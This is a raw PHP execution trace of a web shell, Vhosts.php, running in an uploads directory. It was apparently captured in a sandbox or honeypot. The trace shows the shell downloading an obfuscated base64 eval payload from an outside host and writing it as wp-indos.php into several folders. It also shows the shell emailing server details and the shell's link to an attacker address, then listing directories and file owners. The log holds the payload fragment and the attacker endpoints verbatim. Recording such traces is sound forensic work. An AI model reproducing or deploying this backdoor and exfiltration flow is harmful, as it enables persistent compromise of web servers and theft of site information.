5	44	0	0.005875	576952	curl_exec	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	113	1	resource(6) of type (curl)
5	44	1	0.005916	576984
5	44	R			FALSE
4	38	1	0.005944	576040
4	38	R			FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	71	$makale = FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	72	$wp_makale = '/var/www/html/'
4	45	0	0.005983	576080	fopen	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	73	2	'/var/www/html/'	'w'
4	45	1	0.006021	576152
4	45	R			FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	73	$open_makale = FALSE
4	46	0	0.006047	576080	fwrite	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	74	2	FALSE	FALSE
4	46	1	0.006067	576144
4	46	R			FALSE
4	47	0	0.006081	576080	fclose	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	75	1	FALSE
4	47	1	0.006104	576112
4	47	R			FALSE
4	48	0	0.006117	576080	expandDirectories	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	80	1	'/var/www/html'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	95	$directories = []
5	49	0	0.006143	576080	scandir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	96	1	'/var/www/html'
5	49	1	0.006172	576616
5	49	R			[0 => '#', 1 => '.', 2 => '..', 3 => 'uploads']
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/#'
5	50	0	0.006204	576624	is_dir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/#'
5	50	1	0.006221	576680
5	50	R			FALSE
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads'
5	51	0	0.006247	576648	is_dir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads'
5	51	1	0.006261	576696
5	51	R			TRUE
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	100	$directories[] = '/var/www/html/uploads'
5	52	0	0.006287	577032	expandDirectories	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	101	1	'/var/www/html/uploads'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	95	$directories = []
6	53	0	0.006313	577032	scandir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	96	1	'/var/www/html/uploads'
6	53	1	0.006339	577656
6	53	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'Vhosts.php', 4 => 'data', 5 => 'prepend.php']
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/.htaccess'
6	54	0	0.006372	577680	is_dir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/.htaccess'
6	54	1	0.006388	577728
6	54	R			FALSE
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/Vhosts.php'
6	55	0	0.006413	577696	is_dir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/Vhosts.php'
6	55	1	0.006428	577744
6	55	R			FALSE
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/data'
6	56	0	0.006452	577696	is_dir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/data'
6	56	1	0.006467	577728
6	56	R			TRUE
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	100	$directories[] = '/var/www/html/uploads/data'
6	57	0	0.006492	578064	expandDirectories	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	101	1	'/var/www/html/uploads/data'
6		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	95	$directories = []
7	58	0	0.006521	578064	scandir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	96	1	'/var/www/html/uploads/data'
7	58	1	0.006546	578592
7	58	R			[0 => '.', 1 => '..', 2 => 'trace-1676238152.9243.xt.gz']
6		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/data/trace-1676238152.9243.xt.gz'
7	59	0	0.006579	578640	is_dir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/data/trace-1676238152.9243.xt.gz'
7	59	1	0.006597	578704
7	59	R			FALSE
6	57	1	0.006611	578088
6	57	R			[]
6	60	0	0.006623	578088	array_merge	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	101	2	[0 => '/var/www/html/uploads/data']	[]
6	60	1	0.006639	578528
6	60	R			[0 => '/var/www/html/uploads/data']
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	101	$directories = [0 => '/var/www/html/uploads/data']
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/prepend.php'
6	61	0	0.006680	578152	is_dir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/prepend.php'
6	61	1	0.006696	578176
6	61	R			FALSE
5	52	1	0.006709	577480
5	52	R			[0 => '/var/www/html/uploads/data']
5	62	0	0.006725	577480	array_merge	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	101	2	[0 => '/var/www/html/uploads']	[0 => '/var/www/html/uploads/data']
5	62	1	0.006741	577920
5	62	R			[0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	101	$directories = [0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4	48	1	0.006772	576600
4	48	R			[0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	80	$directories = [0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4	63	0	0.006802	576600	http_get	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	81	1	'https://wordpres.page/txt/lamer.txt'
5	64	0	0.006816	576600	curl_init	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	108	1	'https://wordpres.page/txt/lamer.txt'
5	64	1	0.006833	577544
5	64	R			resource(10) of type (curl)
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	108	$im = resource(10) of type (curl)
5	65	0	0.006861	577512	curl_setopt	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	109	3	resource(10) of type (curl)	19913	1
5	65	1	0.006896	577608
5	65	R			TRUE
5	66	0	0.006910	577512	curl_setopt	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	110	3	resource(10) of type (curl)	78	10
5	66	1	0.006925	577608
5	66	R			TRUE
5	67	0	0.006938	577512	curl_setopt	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	111	3	resource(10) of type (curl)	52	1
5	67	1	0.006953	577608
5	67	R			TRUE
5	68	0	0.006965	577512	curl_setopt	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	112	3	resource(10) of type (curl)	42	0
5	68	1	0.006980	577608
5	68	R			TRUE
5	69	0	0.006993	577512	curl_exec	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	113	1	resource(10) of type (curl)
5	69	1	0.397780	626696
5	69	R			'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	63	1	0.398591	625752
4	63	R			'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	81	$css = '<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	70	0	0.398722	625752	preg_match	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	84	2	'#wp-content#'	'/var/www/html/uploads'
4	70	1	0.398927	625816
4	70	R			0
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	86	$css_file = '/var/www/html/uploads/wp-indos.php'
4	71	0	0.398958	625816	fopen	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	87	2	'/var/www/html/uploads/wp-indos.php'	'w'
4	71	1	0.399014	626368
4	71	R			resource(11) of type (stream)
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	87	$open_css = resource(11) of type (stream)
4	72	0	0.399045	626296	fwrite	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	88	2	resource(11) of type (stream)	'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	72	1	0.399142	626360
4	72	R			47731
4	73	0	0.399157	626296	fclose	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	89	1	resource(11) of type (stream)
4	73	1	0.399174	625872
4	73	R			TRUE
4	74	0	0.399187	625840	preg_match	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	84	2	'#wp-content#'	'/var/www/html/uploads/data'
4	74	1	0.399204	625904
4	74	R			0
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	86	$css_file = '/var/www/html/uploads/data/wp-indos.php'
4	75	0	0.399230	625840	fopen	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	87	2	'/var/www/html/uploads/data/wp-indos.php'	'w'
4	75	1	0.399263	626392
4	75	R			resource(12) of type (stream)
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	87	$open_css = resource(12) of type (stream)
4	76	0	0.399294	626296	fwrite	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	88	2	resource(12) of type (stream)	'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	76	1	0.399386	626360
4	76	R			47731
4	77	0	0.399401	626296	fclose	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	89	1	resource(12) of type (stream)
4	77	1	0.399417	625872
4	77	R			TRUE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	117	$kime = 'byhero44@gmail.com'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	118	$baslik = 'wsoff 2023'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	119	$EL_MuHaMMeD = 'Dosya Yolu : /var/www/html\r\n'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	120	$EL_MuHaMMeD .= 'Server Admin : webmaster@localhost\r\n'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	121	$EL_MuHaMMeD .= 'Server isletim sistemi : Apache/2.4.52 (Ubuntu)\r\n'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	122	$EL_MuHaMMeD .= 'Shell Link : http://localhost/uploads/Vhosts.php\r\n'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	123	$EL_MuHaMMeD .= 'Avlanan Site : localhost\r\n'
4	78	0	0.399529	626064	mail	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	124	3	'byhero44@gmail.com'	'wsoff 2023'	'Dosya Yolu : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer isletim sistemi : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/Vhosts.php\r\nAvlanan Site : localhost\r\n'
4	78	1	0.400406	626160
4	78	R			FALSE
4	79	0	0.400430	626064	headhtml	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	662	0
4	79	1	0.400451	626064
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	804	$directory = '/var/www/'
4	80	0	0.400475	626064	displayFolderForm	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	811	0
4	80	1	0.400491	626064
4	81	0	0.400498	626064	directoryList	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	813	1	'/var/www/'
5	82	0	0.400514	626064	is_dir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	422	1	'/var/www/'
5	82	1	0.400537	626080
5	82	R			TRUE
5	83	0	0.400552	626040	opendir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	424	1	'/var/www/'
5	83	1	0.400572	626320
5	83	R			resource(13) of type (stream)
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	424	$dh = resource(13) of type (stream)
5	84	0	0.400601	626288	readdir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	427	1	resource(13) of type (stream)
5	84	1	0.400623	626360
5	84	R			'..'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	427	$file = '..'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	430	$link = '..'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	432	$fileDisplayName = '..'
5	85	0	0.400672	626360	filepermission	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	435	1	'/var/www/..'
6	86	0	0.400687	626360	fileperms	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	550	1	'/var/www/..'
6	86	1	0.400703	626400
6	86	R			16877
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	550	$perms = 16877
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	567	$info = 'd'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	580	$info .= 'r'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	581	$info .= 'w'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	584	$info .= 'x'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	587	$info .= 'r'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	588	$info .= '-'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	591	$info .= 'x'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	594	$info .= 'r'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	595	$info .= '-'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	598	$info .= 'x'
5	85	1	0.400834	626400
5	85	R			'drwxr-xr-x'
5	87	0	0.400847	626360	substr	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	435	3	'drwxr-xr-x'	0	1
5	87	1	0.400864	626456
5	87	R			'd'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	438	$formId = '..d'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	448	$file = '../'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	451	$link = '<form id="..d" action="" method="get"> <input type="hidden" name="directory" value="/var/www/../"> <a href="#" onclick="document.getElementById(\'..d\').submit();"> .. </a></form>'
5	88	0	0.400920	626608	getFileSize	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	465	2	'/var/www/'	'../'
6	89	0	0.400935	626648	filesize	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	607	1	'/var/www/../'
6	89	1	0.400951	626688
6	89	R			4096
5	88	1	0.400964	626608
5	88	R			4096
5	90	0	0.400978	626608	getFileLastModTime	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	466	2	'/var/www/'	'../'
6	91	0	0.400993	626648	filemtime	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	613	1	'/var/www/../'
6	91	1	0.401007	626688
6	91	R			1674329859
6	92	0	0.401020	626608	date	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	613	2	'F d Y H:i:s.'	1674329859
6	92	1	0.401080	629000
6	92	R			'January 21 2023 14:37:39.'
5	90	1	0.401098	628928
5	90	R			'January 21 2023 14:37:39.'
5	93	0	0.401113	628712	filepermission	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	467	1	'/var/www/../'
6	94	0	0.401127	628712	fileperms	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	550	1	'/var/www/../'
6	94	1	0.401142	628752
6	94	R			16877
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	550	$perms = 16877
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	567	$info = 'd'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	580	$info .= 'r'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	581	$info .= 'w'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	584	$info .= 'x'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	587	$info .= 'r'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	588	$info .= '-'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	591	$info .= 'x'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	594	$info .= 'r'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	595	$info .= '-'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	598	$info .= 'x'
5	93	1	0.401275	628752
5	93	R			'drwxr-xr-x'
5	95	0	0.401290	628672	getFileOwner	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	468	2	'/var/www/'	'../'
6	96	0	0.401305	628712	fileowner	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	619	1	'/var/www/../'
6	96	1	0.401319	628752
6	96	R			0
6	97	0	0.401332	628672	posix_getpwuid	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	619	1	0
6	97	1	0.401363	629472
6	97	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	619	$fileOwnerInfo = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	95	1	0.401426	628704
5	95	R			'root'
5	98	0	0.401441	628672	getFileGroup	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	469	2	'/var/www/'	'../'
6	99	0	0.401456	628712	filegroup	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	626	1	'/var/www/../'
6	99	1	0.401471	628752
6	99	R			0
6	100	0	0.401483	628672	posix_getgrgid	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	626	1	0
6	100	1	0.401509	629328
6	100	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	626	$fileGroupInfo = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	98	1	0.401552	628704
5	98	R			'root'
5	101	0	0.401566	628672	readdir	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	427	1	resource(13) of type (stream)
5	101	1	0.401582	628744
5	101	R			'html'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	427	$file = 'html'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	430	$link = 'html'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	432	$fileDisplayName = 'html'
5	102	0	0.401646	628456	filepermission	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	435	1	'/var/www/html'
6	103	0	0.401660	628456	fileperms	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	550	1	'/var/www/html'
6	103	1	0.401677	628496
6	103	R			16895
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	550	$perms = 16895
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	567	$info = 'd'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	580	$info .= 'r'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	581	$info .= 'w'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	584	$info .= 'x'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	587	$info .= 'r'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	588	$info .= 'w'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	591	$info .= 'x'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	594	$info .= 'r'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	595	$info .= 'w'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	598	$info .= 'x'
5	102	1	0.401825	628496
5	102	R			'drwxrwxrwx'
5	104	0	0.401839	628456	substr	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	435	3	'drwxrwxrwx'	0	1
5	104	1	0.401855	628552
5	104	R			'd'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	438	$formId = 'htmld'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	448	$file = 'html/'
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	451	$link = '<form id="htmld" action="" method="get"> <input type="hidden" name="directory" value="/var/www/html/"> <a href="#" onclick="document.getElementById(\'htmld\').submit();"> html </a></form>'
5	105	0	0.401921	628672	getFileSize	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	465	2	'/var/www/'	'html/'
6	106	0	0.401937	628712	filesize	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	607	1	'/var/www/html/'
6	106	1	0.401953	628752
6	106	R			4096
5	105	1	0.401966	628672
5	105	R			4096
5	107	0	0.401980	628672	getFileLastModTime	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	466	2	'/var/www/'	'html/'
6	108	0	0.401995	628712	filemtime	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	613	1	'/var/www/html/'
6	108	1	0.402009	628752
6	108	R			1676238152
6	109	0	0.402022	628672	date	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	613	2	'F d Y H:i:s.'	1676238152
6	109	1	0.402054	629000
6	109	R			'February 12 2023 16:42:32.'
5	107	1	0.402069	628928
5	107	R			'February 12 2023 16:42:32.'
5	110	0	0.402084	628712	filepermission	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	467	1	'/var/www/html/'
6	111	0	0.402098	628712	fileperms	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	550	1	'/var/www/html/'
6	111	1	0.402113	628752
6	111	R			16895
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	550	$perms = 16895
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	567	$info = 'd'
5		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	580	$info .= 'r'
